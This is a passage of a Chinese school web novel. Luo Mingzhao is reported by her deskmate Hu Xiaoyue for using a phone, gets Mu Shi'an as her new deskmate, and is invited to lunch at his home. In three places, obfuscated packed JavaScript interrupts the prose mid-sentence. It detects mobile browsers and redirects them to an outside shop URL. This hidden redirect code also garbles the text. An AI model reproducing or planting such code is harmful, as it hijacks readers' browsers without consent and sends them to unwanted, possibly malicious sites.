这么僵下去也不是事,毕竟至少要同桌到期中考试后吧,可那还有一个多月呢,所以必须赶紧解决,不然得别扭死。 林雨彤无奈地看着她,得,这又走神了。 “骆眀昭,你有没有听我说话!”她即将进入咆哮边缘。 但骆眀昭毕竟是顺毛高手,赶在小林同学即将发飙前一秒,赶紧放下勺子,谄媚地笑笑:“哎呦,彤啊,我听着呢,听着呢,我这不是构思怎么跟你说嘛——” 之后,她就把今天发生的事,简单跟两人讲述一遍。 “你这同桌莫名其妙啊?啥也没干就那么横?”林雨彤不理解地说。 梁若璇也说出自己的想法:“她是不是正好遇见什么事心情不好,可能就只是不小心牵连你。” 骆眀昭这一通说得口干舌燥,拿起手边的矿泉水猛灌一口,边拧瓶盖,边说着:“我反省了一下,我确定自己是没问题的,所以就准备挑机会跟她聊聊,如果实在不合拍,就跟宋老师说换座位的事情。” 外人看来,都会觉得骆和林这对朋友,肯定是骆眀昭更需要依靠些,看着乖乖软软的,而林雨彤无论外表或者行事作风都是张扬又洒脱,可只有跟好姐妹相处久的林雨彤才知道,骆眀昭很多时候更靠谱。 她有自己的行事逻辑,像自己遇见什么事,可能会着急沉不住气,但用姐姐林苏的话来说,骆眀昭是个感性却又不失理性的人,而且最大的优点,就是善于自省,遇事她会先分析自己的问题,继而再去想解决问题的办法。 “你这不都想明白之后该怎么做了,愁什么呢?”林雨彤用吸管搅搅手中的粥,底下有些稠。 骆眀昭歪歪头,很轻地叹一声,脑袋感觉越发得沉:“问题是我从前没什么跟人闹矛盾的经历啊,你知道的,我都没跟别人吵过架,我怕聊天的时候把握不好分寸。” 这才是最为困扰她的事,这算是人生第一次跟别人调节矛盾吗? 她不太擅长处理矛盾纠纷,也可能没有历经过的原因。 梁若璇罕见地没怎么说话,只是埋头吃饭,林雨彤也没多想,给她支招:“你就先嘴甜点,叫亲热点,就说姐妹,你今天是遇到什么不开心的事吗?或者是我有什么做得不好的地方,你可以直接讲,咱们聊聊,她要是礼貌回应那就是有戏,要是还是不搭理你,直接说换座位就行。” 骆眀昭抱胸,半眯着眼看向林雨彤:“可以哈,挺会的,你这都从哪学的?” “我姐跟男朋友闹别扭的时候,都这么哄人家啊。”林雨彤说。 骆眀昭:谢谢你啊…… - 晚自习,讲台上宋晓正在盯自习,教室内仅能听见刷刷写字声和其他细微的声音,毕竟班主任的威严在那,谁也不敢乱来。 今天作业罕见不多,还不到九点骆眀昭就已经没事干,若是往常她可能会刷刷题什么,只是现在她实在没有心思,时不时会偏过头,很小心地瞥一眼胡晓月,她在很认真地做作业。 晃悠半天,她从书包夹层中翻出个巴掌大的小本来,本皮上贴满各式贴纸,她躲一摞书后,小心翼翼翻开,毕竟若是被老师发现,这也算是不务正业。 这算是个骆眀昭的迷你日记本,她也想很认真地写满整页日记,但每次坚持不过几天,后来她发现个方式可坚持,只记录自己觉得最值得写下的时刻,上面密密麻麻地写满她遇到有趣的、难过的、惊喜的事。 她从笔袋里翻出根荧光笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603000|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在新一页画出条线来,用水笔在荧光笔印上写上日期:今天,头一次跟人闹矛盾,是我来到一班第一个同桌,胡晓月,接下来我准备跟她好好聊一次,不知道能不能和解,尽请期待…… 最后很认真地点上六个点。 合上本,骆眀昭又跟做贼一样把日记本塞进书包夹层中,手还在书包里时,她忽然又想起什么,几秒钟后,她悄悄摸摸把手机拿出来,躲在书堆后亮起屏幕。 呼,还好早就设置好静音,过程可真是惊险刺激。 刚跟胡晓月做同桌的那天,她们就加上微信,不过从来都没说过话,当面跟她聊骆眀昭还是有些犹豫,但要是在微信上说,那就自在多了。 骆眀昭时不时扬起头,还要左右乱瞅,确定宋晓应该不会看到她,同时心里感激前桌牧时桉是个身高一八五的大汉,能很完美地帮她打掩护。 她细细琢磨着,压低自己的动作幅度,结合着林雨彤给自己出的主意,发出一条很长的微信。 昭昭是我:【姐妹,有些话在学校不太好意思当面跟你说……】 洋洋洒洒写了不少,又删删改改,她觉得是发自肺腑,情真意切,字字都是她的心里话,写到钟表都即将指向放学时间,班里中出现很小声的躁动,终于按下发送键。 就骆眀昭观察,胡晓月平时上学没带过手机,估计留在家,刚好可以让她回家之后再看,还有个缓冲期,说不定回到家,心情就好了呢。 在讲台上看书的宋晓站起身,骆眀昭慌乱着赶紧将手机放进外套口袋里,一分钟后,熟悉悠扬的放学铃声就在教学楼中回荡,教室内也瞬间吵嚷起来。 牧时桉拎着外套站起身,回过头后就跟骆眀昭说:“走吗?” 感觉即将解决问题的骆眀昭心情大好,唇角扬得很高,她飞快地从书包里摸出一卡通挂在脖子上:“走走走,回家喽!” 胡晓月还在安静地收拾书包,似乎悄悄侧过脸,眼神中意味不明,很快,她目光中的那个人就离开她的视线,透过玻璃反射瞧见两人离开的身影。 - 窝在被窝中,守着微信的骆眀昭,第二天理所应当地是起晚,最后几乎是踩着高二早读的铃声进的教室。 好在,今日早读时间的语文老师还没来,坐在座位上的骆眀昭松了口气。 她从书桌里翻找着语文课本,余光瞧瞧瞥向胡晓月,她把头埋得很低,也没在看指定背诵的篇目,似乎对她的到来避之不及。 在老骆车上时她还分神看了一眼,直到最后都没有收到回信。 骆眀昭按照黑板写着的页码翻着课本,轻叹了口气,看来就是相处不来,不能强求,等下课找时间去班主任那说明一下吧。 早自习,她盯着文言文摇头晃脑地背,实在是困意驱使着她的精神,又好几次她都已经半闭上眼,几乎整个人要睡过去。 语文老师是个宽松的人,同学背得声音小她也不说什么,正当骆眀昭又一次要栽倒睡着时,教室内的声音一瞬间很刻意地增大,像是生怕别人听不出来他们很认真似的。 我靠,吓我一跳! 骆眀昭猛地清醒过来,瞪着讲台上眨巴眨巴眼,怪不得呢,原来是班主任进班。 她揉揉眼睛,也开始专注起来,嘈杂地环境中,她忽然听见一声轻唤:“骆眀昭,你跟我出来一下。” 是宋晓。 怎么,她刚刚打瞌睡被瞧见了吗? 骆眀昭挠挠头,不知所云,但也没多想什么,放下课本跟着宋晓径直走出教室时。 走廊里,挠嚷着的是各班早读声,一声盖过一声,宋晓拉着她去楼道间稍微安静些的地方,两人站定住,骆眀昭心里莫名发堵,手不自然背到身后。 宋晓看向她,脸上带着些严肃:“骆眀昭。” “怎么了,老师?” “你是不是在晚自习偷偷玩手机了?” 14. 土豆烧排骨 课本立在桌面上,胡晓月手紧紧攥着书页,目光时不时就要悄悄看向后门,即便早已瞧不见人影,耳边同学们的背诵声都成了嘈杂刺耳,甚至让人发狂的尖锐轰鸣声,几乎令人窒息。 她真的不是故意这么做的,胡晓月把头埋得很低,在心头疯狂默念。 昨晚回家时,她背着书包想要快步走到卧室,却还是在中途被胡母拦住,转而递给一杯她平生最讨厌的牛奶,温热的杯壁让她几乎下一秒就要发狂把它砸到墙上,但最后她还是喝下去了,全部。 口腔中充斥着黏腻又令人作呕的奶腥味,她强忍住才没有在客厅就干呕出来,耳边嗡嗡嗡,就只剩胡母的唠叨声。 “……你现在座位是不是太靠后了?说起来你那个同桌怎么样?是好学生吗?” 胡晓月听得厌烦,也许是心底压抑的恶意肆无忌惮疯长,当即摧毁她的意志,她居然说出一句:“不怎么样,晚自习都不学习,在玩手机。” 她明明看到,骆眀昭只是看了十几分钟的手机,剩下的时间都在安静学习,她为什么要那么说,她疯了吗? 胡晓月整个晚自习都没有踏下心学□□会时不时朝骆眀昭的方向看,她一直在找机会,想跟她和好,上午那会儿她也不知道自己怎么,就要朝着骆眀昭发火,可是直到最后,她都没敢开口。 胡晓月从桌面上费劲撑起来,伸手拿起放在一边的手机,点亮屏幕的时候,她慌了神,锁屏上明晃晃最显眼的,就是骆眀昭发给她的微信,发送时间,晚上二十一点二十八分。 所以,那时候,她就是在给自己编辑消息—— 就那么一瞬间,一种突如其来的心慌感,如同电击,猛然间蹿至脊柱,胡晓月似乎听到什么,猛地推门出卧室,就见客厅里胡母正拿着手机。 “……宋老师,就是这么个事,我家月月不能总跟这种孩子坐一起,也影响她的学习啊。” 通话是公放的,从手机内传出宋晓的声音:“晓月妈妈,情况我都知道了,我明天会及时处理的,有什么情况,我们微信上再沟通。” 胡晓月靠着墙,通话还未结束,如果她这时冲过去,解释清楚,还来得及…… “哔”一声,微信电话结束,她仍呆站在原地。 - 楼梯间里,骆眀昭把头埋得很低,做出一副洗心革面,痛改前非的模样。 “宋老师,我真的知道错了,这种错误我保证不会犯第二次的,我保证!” 大概是认错态度良好,宋晓也没有真要跟她较真的意思,于是伸手拍拍她的肩膀:“行啦,鉴于你是第一次,下不为例,不过还是有惩罚。” 骆眀昭猛地抬起头:“什么惩罚?” 只要不写检讨,干什么都行! 宋晓微笑着,忽地在她面前伸出手掌,掌心朝上:“拿来吧,今天你的手机使用权归我啦,等晚自习结束再还给你。” 就,就这啊。 骆眀昭愣愣地从裤兜里摸出手机,轻轻放在宋晓手上,而宋晓又当着她的面,给她手机关机,意思是在她这,手机仅仅是块砖头而已。 “还有一件事,老师想问问你?”宋晓又问。 骆眀昭:“您说。” 宋晓犹豫一会儿,大概是想着该怎么措辞,垂眼问道:“你觉得,你现在的座位对你来说是合适的吗?需不需要把你调在前排。” 骆眀昭抿抿唇,背在身后的手指紧紧扣在一起,不经意地顿住。 她当然知道宋晓在说什么,她也不傻,从她宋晓质问自己时,她就已经猜到手机的事情是从谁那泄出的消息。 犹豫良久,直到早自习的铃声打响,走廊争先恐后地钻出学生的身影,骆眀昭抬起头,笑弯了眼,目光烔烔地看着她:“老师,我很喜欢我现在的后排位置,暂时不想换,不过我刚来一班还不适应,有可能会影响到别的同学学习,如果可以的话,老师可以帮别的同学换到更合适她的座位。” 骆眀昭很喜欢坐在后排,只是初中那会儿都是根据身高来排,她只能坐在前面,但上了高中后,座位安排更灵活,她也有机会坐到喜欢的位置,跟胡晓月大概她们之间就是少了些做同桌的缘分,但即便换位置,她也要表达清她的诉求。 宋晓看着她怔住几秒,而后点点头:“好,老师知道了,回去准备上课吧。” “好,宋老师拜拜。”说着,骆眀昭转身走进一班、 进班时,胡晓月如昨天一般趴着桌面,将整个人埋进手臂中,严丝合缝。 但跟昨日的骆眀昭不同,今天她没落在胡晓月身上一个眼神,虽然还是不知道她是做了什么惹她不喜,不过既然处不来,那就保持距离,毕竟距离产生美。 坐回座位时,牧时桉正靠在窗台边斜坐着闭目养神,听到骆眀昭回来的动静,懒懒地掀起眼皮,侧眸扫了她一眼:“挨骂了?” 下节课是数学,她正从书桌里往出翻课本,顺口回句:“差不多吧。” “那……你高兴点?”他轻挑起眉,拖着语调沉思了一会儿。 骆眀昭感觉自己额角猛跳,抬起眼,露出似笑非笑的表情:“大哥你,要实在是不会安慰人,可以不用勉强自己的哈。” 话落,她拿出熟悉的迷你日记本摊平放在桌面上,翻到昨日写下的那一页,拔掉红色水笔的笔帽,微不可查地轻叹口气,而后俯下身在“尽请期待”下写上:行动失败。 - 到午餐时间,骆眀昭的心情已经彻底转换回正常状态。 今天一食堂有土豆烧排骨,饭桌上,她夹起一块脱骨的排骨肉送进口中,肉被炖得软烂,吃的时候,她又拌上一小勺米饭入口,还在感慨:“咱们学院食堂的荤菜,做得是真不错哈。” “骆眀昭,”对面的林雨彤忽地开口问道,“你早上是不是被班主任骂了?” 骆眀昭抬起干饭的脑袋:“你怎么知道?” “下早读的时候,我刚好去饮水机那接水,偶然看到的。”梁若璇插话道,“本来想去一班找你问问,但下课你们都在学习,我们就没敢进去,微信问你,也没回我。” 这一筷子,骆眀昭加了块土豆,她云淡风轻地回:“昨天晚自习玩手机,被班主任发现啦,今天就没收说晚上再还我。” “没收了?怎么回事?”林雨彤放下手里筷子,瞪着眼问她,“而且不是昨天发现的吗?怎么今天才罚。” 骆眀昭夹菜的手一顿。 半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603001|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晌才回:“哎呦,我哪知道,就反正被罚了呗,吃饭吃饭。” 林雨彤也当她是不想提及伤心事,也就没又再问。 胡晓月的事,她想翻篇,就这么过去吧。 虽然没告诉好姐妹们实情有些罪孽深重,但即便说又会怎样,三人一块同仇敌忾把胡晓月骂一顿,以林雨彤的性子说不定还会找正主理论一番,但对她来说,事情能赶快解决,不影响她今后愉快的校园生活,那才是比什么都重要的。 “没位置了。”骆眀昭身后忽地传来熟悉的男声,她仰着脖颈向后看,视线里是个倒立着的牧时桉。 薛游端着餐盘,紧跟着走过来:“能跟你们一块坐吗?” 骆眀昭四下张望,食堂里确实人满为患,刚回过头,就看对面梁若璇正跟她疯狂使眼色,自以为她微笑表情十分隐晦,那意思是,让不让他坐,她在征求骆眀昭的意见。 “快坐吧坐吧,”骆眀昭赶紧招呼他们坐下,姐妹心里有她是蛮幸福的,但自己也不能仅因为她的不适应而让姑侄两人分隔两地,不就是不抬头看他,小事一桩,手拿把掐。 牧时桉收回盯着梁若璇的视线,若有所思地坐在她身侧,放下餐盘正正好好又落坐于骆眀昭的对面,虽仅仅是一闪而过的慌乱,但他还是成功捕捉到些什么。 脑海中似乎闪过根若有似无的线,几乎透明,存在又很薄弱,但牧时桉莫名觉得,如果能成功捕捉到它,那么他将会想通到什么了不得的事。 好久他都没有这种迫切的探索欲|望了,这感觉很妙。 这边梁若璇正在说着:“好不容易今天我爸我妈今天晚上都不在家,我能随便耍,你们谁陪我加油特种兵一下呢?四排车队先到先得哈。” 头个举手的是薛游,林雨彤第二,骆眀昭第三:“我可以,但不能太晚,我家老骆不让我熬夜太晚。” “你不是平时还熬夜赶作业嘛?”林雨彤抱胸。 骆眀昭塞了口排骨:“那不是我悄悄行动,没被他们发现。” 梁若璇不解:"你可以不开麦嘛,悄悄打。" “哇,打游戏怎么降低音量,不说话分分钟憋死。”骆眀昭张牙舞爪地比划。 牧时桉没说话,在一旁安静地听着,目光悄然落在骆眀昭身上。 她现在很自然,没有反常现象。 在旁人的目光中,他正撑着头发呆,梁若璇转过脸用胳膊肘轻撞他一下:“吃饭吧,都凉啦。” 听到牧时桉要吃饭,骆眀昭似乎错愕一瞬,下一秒就赶紧捏着筷子埋头吃饭,牧时桉不动声色地观察她,脑中那根线越发清晰,似乎就是触手可得。 他拿起筷子,随意夹起块土豆慢吞吞嚼着,对他来说,吃饭的确是件浪费精力的事,正吃着,梁若璇又想起些什么,扬起头问:“雨彤、昭昭,你俩平时玩的是Q区还是微区的啊。” 骆眀昭下意识仰起头接话:“我两边都有号,都行……” 却刚好对上牧时桉那副模样,我的天,又是那副模样,救命。 说着,她赶紧低下头,假装什么都没看见。 牧时桉盯着她,就那么一瞬间思绪清明,半晌,忽地暗自笑了。 原来如此啊。 15. 咸蛋黄锅巴 八中的午休时间没有硬性要求,但必须保持在班而且全程保持安静,可以午睡或是安静自习都可以。 吃饭溜达地回教室,很快就到午休查人时间,骆眀昭回到座位时,胡晓月还没回来,她几乎是踩着学生会查人的时间回来的。 骆眀昭昨天就没睡好困得不行,整个人埋进午睡枕,半梦半醒之际,就感到耳边传来窸窸窣窣的动静,她微蹙着眉,没过一会儿就又睡了过去。 等她再睡醒,是被教室里吵嚷的声音叫醒的,骆眀昭撑着胳膊揉揉还有些困倦的双眼,又捂着嘴打了很大的哈欠,午睡真是怎么都睡不够啊。 眼皮费劲地扬上去,世界布满一层雾蒙蒙的滤镜,隐隐约约她听见身后有女生跟她说:“借过一下,扫个地。” 是午间的值日生,骆眀昭连忙站起身,跟她腾位置:“来吧来吧。” 身侧女生正认真地干活,骆眀昭又打了个哈欠,视线中立在她身侧那个宽肩窄腰的高挑身影,逐渐清晰起来,被碎发微微遮挡住的那双眼,透着意味深长的笑意。 “牧时桉?我是还没睡醒吗?”骆眀昭兀自念着,还手不停地揉着眼,估计是她眼花吧。可是直到双眼瞪了又瞪,目光中的人影还是没有任何变化。 这下她可清醒多了,歪着脑袋:“你怎么坐在胡晓月这啊?” “以后就这就是我的位置了。”牧时桉似乎在说什么无所谓地话,轻靠在后排的储物柜上。 骆眀昭愣了神:“你的,位置?” 下一秒她转过头,去看原先前排牧时桉的座位,却瞅见位个头不算矮的男生,骆眀昭忘了他叫啥,确实不太熟悉。 胡晓月也不在这啊? 斜前方的韩进奇看不下去,赶紧替她解释一番,在她熟睡中发生的事。 大概意思就是,宋晓帮着胡晓月跟靠教室门倒数第三排的一个高个男生调了座位,正好他个子太高有些挡后桌视线,但是男生觉得最后一排实在风水不好,不是很愿意换,这时牧时桉跟他提,他俩再一换,结果男生欣然接受,最后的结果就是,牧时桉成了骆眀昭新同桌。 “啊,这样哈……”骆眀昭垂下眼沉思了一会儿,无意识地挠挠脸颊。 不就是从倒数三排换到倒数一排吗?有什么风水好不好的,倒数第二排就能好到哪去? 值日的女生扫着灰尘离开后排,大概是看骆眀昭好奇地太明显,坐回椅子时,牧时桉侧过身,在离她不远处轻声说:“他爸是看风水的。” “嘶,这都行啊。”骆眀昭恍然大悟。 牧时桉挑挑眉,撑着脑袋:“讨个口彩罢了,反正都得换位置,倒数第二总比倒数第一好听。” 也差不多吧。 算了,人有点小癖好也正常。 骆眀昭偏移视线,并排的课桌跟一个小时前相比已经大不同,胡晓月平时偶尔也会用些文具店时尚单品,跟她的桌面一样带着卡通图案的书立、笔筒、水杯摆满整张桌子,而如今换成牧时桉,他桌上就只有躺平摞成一摞的课本,和很非常简单那种黑色网纱收纳袋,里面装着的什么都清晰可见。 如果说骆眀昭是极繁主义的装修代表,牧时桉那简直就是毛坯房。 骆眀昭托着下巴,心不在焉地往教室的另一边看过去,胡晓月也已经安静坐在她新同桌那。 “所以,你怎么想起换位置了?”骆眀昭忽地转头看了眼身旁的新人。 牧时桉神色淡然,侧坐着双腿交叠地刷手机:“在那坐腻了,不可以吗?” 前座的韩进奇猛然转过身,那双眼好像在看什么大渣男一般:“我们才两周,你就这么跟我腻了是吗!” 牧时桉:“是啊。” 骆眀昭看着,感觉环视韩进奇手上捏着块小手绢,正默默擦着泪。 这什么戏精附体啊。 教室玻璃朝南,但因为是一楼,而且窗外种着一排杨树,绿荫遮去不少午后阳光,只透出星星点点的光斑进来,骆眀昭伸出手指,接住了这悄悄钻进教室的光点。 她自己玩得不亦乐乎,没瞧见身侧似乎正有人目不转睛地盯着她。 玩了一会儿,她收起手指,拿起还在桌面上霸占着一席之地的午休枕,起身走到教室后的储物柜。从前南校区的教室里没有这个,都是一面用来出板报的大黑板,北校区教室后则是整面墙的学生储物柜,虽然少了些教室内的色彩,但毕竟实打实增多储物空间,毕竟高中学生零散的物品太多了。 骆眀昭拉开柜门,把枕头塞进去,比起其他学霸同学都放着习题课本,她这简直就是间杂货铺,尤其零食最多,她在里面翻腾一会儿,拿了几小包零嘴出来。 是咸蛋黄锅巴,某次上网冲浪时随便买的,却没想到意外的好吃,这东西越嚼越香,吃着上瘾,她总共拿了四小袋,回到座位时,用笔轻轻一戳前面这位新前桌。 男生转过头来,骆眀昭笑着递过锅巴:“新前桌,给你尝尝,韩进奇,你也吃啊。” 小零食这东西在教室里,简直就是交友必备好物,分给前面两位,骆眀昭也没忘旁边的牧时桉:“你要尝尝吗?” 但实际上,骆眀昭单纯只是客气客气,毕竟从前她在分零食时,牧时桉都摆摆手没收,但这种表面上的礼貌工作还是得做好。 她将小包零食递过去,脑中构想着他今天会怎么拒绝,刚想象出一种可能,却忽地感觉手上少了些什么:“那好,谢谢了。” 牧时桉轻笑着,接过她分享的小袋锅巴,骆眀昭瞪大眼,几乎失语,这人是不是被什么不干净的东西夺舍,现在是不是本人啊? 牧时桉接过去,手指在包装袋上摩挲几下,正巧韩进奇转过身来,分享着自己的吃后感:“这个东西这么好吃呢?我以前都没吃过,哎,牧时桉你也吃啊,挺不错的。” 骆眀昭继续设想着,原先从未见过他在教室里吃东西,估计这次也是摇头后收起来…… “是吗?我也试试。”牧时桉翘起嘴角,慢条斯理地撕开手中的包装袋。 啊这…… 骆眀昭抿抿唇,脑中不自觉闪过一句话:不能随便去定义别人。 牧时桉伸出手从包装袋里捏出小块锅巴,送入口中,牙齿碰撞咬碎时,口腔中发出“沙拉拉”碎掉的声响,炸过的糯米迸发出香甜味,似乎,味道确实不错。 骆眀昭还在为自己完全失败的预测而丢人,牧时桉注视着她,又嚼几下,忽然出声:“骆眀昭。” 她本能地转过头,就看到牧时桉正在咀嚼着,还是一臂距离不到的正面大特写,面部肌肉规律的上下运动着,只是跟平时不一样,他的双眸中带上了些玩味的笑意。 他看明白了。 骆眀昭从前那些莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603002|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名其妙的举动,都似乎是因为,她害怕看到自己吃东西。 从前不是没人说过他吃饭动作很怪,孙惠有次就这么说。 饭桌上,她盯着自己看半天,最后说了句,儿子,你吃饭好像个机器人。 大概是从小养成的肌肉记忆,有记忆起,他就跟别人不一样,对食物似乎没什么过分的渴望,小学门口零散着满是小摊小贩,别的同学总是在各色小吃前移不开脚,只有他不理解,这除了要额外花零用钱买,跟家里的饭有什么不一样,都是填饱肚子。 对吃饭时的咀嚼也感到累,为什么要一直嚼,好麻烦,可不吃会饿,吃得快不好消化,吃得少也饿,几乎是花了很长一段时间,他终于找到属于自己的频率,牧时桉不觉得这样有何不好,既高效又在他的舒适区里。 这是头一次,有人对他独特的进食方式起这么大的反应。 而这个人的存在,似乎就是与他截然相反的。 牧时桉觉得很有趣,非常有趣,尤其是看到骆眀昭脸上闪过五花八门的情绪。 对面的少年还在吃着,骆眀昭眼神下意识乱飘:“叫我干嘛?” 牧时桉堂堂正正:“没什么,就想跟你说挺好吃的。” “好、好吃下次还分你啊。”骆眀昭咬着唇,努力扬起个笑意来。 被拆开包装的锅巴立在一旁,牧时桉瞧了一眼,半晌,轻嗯出声。 - 梁若璇的四人战场海岛游临时换了地点,最终改成五人峡谷之行,因为多了个人,牧时桉。也不知道他忽然怎么想的,说也要加入游戏,于是只好换个游戏团建。 骆眀昭不知为何总觉得,她新同桌今天心情不错,晚上放学回家路上都带了点精神,破天荒地跟她多说不少话。 游戏里他操作公孙离,疯狂输出,看呆所有人,甚至把对面打到破防。 骆眀昭也在耳机中,梁若璇不断地再来一把里,逐渐迷失自我,最后玩到半夜两点。 再睡醒太阳都已经晒屁股,骆眀昭是被一阵急促的电话铃声吵醒,她也没看请来点人是谁,半梦半醒接起电话,嗓子还是一副没开机的声音:“喂,谁啊?” “谁,我是你老妈能谁,骆眀昭你是不是又没起床。”电话那头传来王乐萍的咆哮声。 没睡醒时接电话,估计是全世界人民的被动技能,清醒着说胡话,骆眀昭双眼紧闭,歪七扭八地窝在被子里,无意识地回:“起了,早起了,太阳刚下山我就起了。” 电话那头是更猛烈的怒吼:“骆眀昭!你给我起床!” “好好好,我起。”骆眀昭硬撑着坐起来,把眼皮吊得再高,也睁不开。 感觉到骆眀昭应该是真是睡醒了,王乐萍干脆地说着安排:“你外公那出了点事,我跟你爸得回去一趟,大概周一早上回家,你这两天自己在家注意安全,晚上睡觉前锁好门,这两天吃饭就去楼上孙阿姨家,我都跟她打过招呼了,要是出门跟雨彤玩就跟上楼跟孙阿姨说一声,别让人家担心……” 说完,就利落地挂断电话。 骆眀昭呆坐在床上,眼睛半睁不睁,脑子仅属于半开机模式,只能提取几个关键词,外公、周一、自己在家、孙阿姨…… 不知究竟过去多久,她才终于猛地睁开眼,外公出事了! 还有,王女士说,让她去谁家吃饭?? 16. 炸小酥肉 再打通王乐萍电话,是骆眀昭洗完澡后的事。 浴室里吹风机嗡嗡作响,镜子里的骆眀昭已经换了套新家居服,她把长发吹至半干,平放在浴室柜上的手机屏幕终于显示通话拨通。 “喂喂,你那什么声音?能听见吗?”骆齐对着手机喊着。 闻言,骆眀昭关掉吹风机,刘海贴在脑门上还在微微滴答着水她,把干发巾索性搭在脑袋上拿着手机走出浴室,青色短裤下露出白嫩纤细的双腿,大咧咧直接盘腿窝在沙发上。 她打开公放,电话那头杂声很重:“我妈呢?刚刚怎么打那么多电话都在关机中啊?” “她正开车呢,我们刚上国道,刚刚话都没来得及说完就关机了,车上也没数据线,那会儿没出城的时候找了个超市这刚开机。”骆齐解释说。 骆眀昭诧异:“怎么走的这么着急,我早上听着我妈是出去买菜了啊?” 王乐萍临走时隐约在她门前说,让她把米饭蒸上,应该不是错觉。 骆眀昭刚睡醒,正好起饿劲,她从茶几上拿根香蕉扒开。 “刚说我姥爷出事了,他怎么啦?是不是生病了?”骆眀昭担心地问。 骆齐叹了口气:“那会接到警察电话,你姥爷好像是让人诈骗了,这不才让家属赶紧过去,你妈都没来得及上楼,我俩开车就走。” 骆眀昭愣着:“诈骗了!骗钱?还是骗着买劣质保健品了?” 骆齐:“这不还不知道吗?马上我们就过去了,你在家好好的啊,别出去乱跑。” 自从姥姥前几年过世后,姥爷就一直独自住在县城里,他不愿意来绮城住,一家人也不好态度太强硬,只能隔三差五抽时间开车回去,但这这紧盯慢守还是出了事。 骆眀昭心里也跟着着急,但估计不带着她也是怕耽误她上学,她也只能在家等消息。 电话那头安静一会儿,骆齐大概是不太自在,轻咳一声:“你妈那会儿在小区门口接电话,正好碰见楼上孙惠阿姨,人家主动说这两天帮着照顾你,你在人家机灵点,虽然我跟那谁关系一般,但这跟你们孩子没关系啊,礼貌点,也嘴甜点,知道吗?” 骆眀昭咬了口香蕉:“知道啦。” 骆齐拿着电话又叨叨地嘱咐一会儿,最后被王乐萍嫌麻烦强制挂断。 放下电话,骆眀靠在沙发上放空自己,现在是十点五十,差不多再过半小时左右她就该上楼去吃饭,还是去牧时桉家吃饭。 上次吃到孙惠做的包子,她一连当了两天早点,味道真心不错,牧家搬回来这段时间,她就见过牧正云一次,孙惠两次,面对她时都是笑呵呵的模样,很好相处,但跟牧时桉同桌吃饭啊…… 她得花点时间做心里建设,这回还不能跟像学校里似的,把脑袋埋进饭里,不礼貌,骆眀昭怀里圈着抱枕叹了口气。 说起来,就跟做梦似的,自从去了北校区,牧时桉这人就跟从天而降到她生活中的一般,几乎侵入她生活的方方面面,她正想着,脑海中浮现出少年那副凛冽又散漫的神色。 可认识这段时间骆眀昭却平心而论,她无法牧时桉归类于她曾见过的任何一类人,事实上自己几乎不了解他,这人好像很淡,朦胧透明像是雾气,除了长了副张扬惹眼的皮囊,就是给她留下难以忘怀的进食记忆。 沉思半个多小时后,骆眀昭挣扎着起身进屋换了身衣服,手里拿好手机和家门钥匙,就出发上楼蹭饭。 明明就十八个台阶,她走得格外缓慢,心里莫名紧张着直到站定在牧家门口,她抬起手,轻轻敲响房门。 门隔音不好,骆眀昭能清晰听到逐渐清晰的脚步声,屋内推开门,孙惠系着围裙瞧见她来微笑着:“昭昭来啦,快进来。” 骆眀昭乖巧地扬起笑容,挤出个浅浅的酒窝:“孙阿姨,打扰您啦。” “说什么打扰不打扰的,”孙惠说,“昭昭换这个拖鞋就行。” 骆眀昭嗯了一声紧跟着进门,弯腰换好拖鞋,小心翼翼走进牧家,目光四处瞧着,两家都是中户,所以户型是一样的,只是家居摆设稍稍有些差异。 孙惠准备接着做饭,骆眀昭跟在她身边准备帮忙:“阿姨,我来帮您吧?” “不用不用,你自己去玩,看会儿电视什么的,茶几上有零食,饿了就垫几口啊。”孙惠拍拍她的后背。 见她坚定的模样,骆眀昭也没办法,点点头就乖巧坐在沙发上等着。 家里似乎只有她们两人,牧时桉好像不在,反正卧室门敞开着,映入她眼帘的就是小男孩专属的儿童房装潢。 想象着高瘦酷哥住在这么童真的房间里,她不仅偷笑。 正随意看着,视线里出现一小块粉色,就在卧室门口的立柜上放着,骆眀昭没戴眼镜看不清,但心底却隐隐感觉,自己见过那东西,于是起身朝前走了几步,眼睛半眯着。 物体轮廓越发清晰可见,她满满走近,最终在卧室一步远的地方看清。 那是两袋火鸡面,奶油味的。 - 牧时桉也不知道从何而来的好心情,驱使着他打游戏到半夜,就没来由地唇角始终保持着微妙的弧度。 原本是准备一觉到日上三竿的,也不知道薛游哪里来的好精神,一大早给他打微信电话让他陪着去买耳机,好不容易速战速决买好耳机,薛游居然还说中午要在外面吃饭,牧时桉困得不行,直接选择回家补觉。 开门进家时,他还在懒洋洋打着哈欠,抬眼就瞧见,沙发上坐着的那个人不正是骆眀昭。 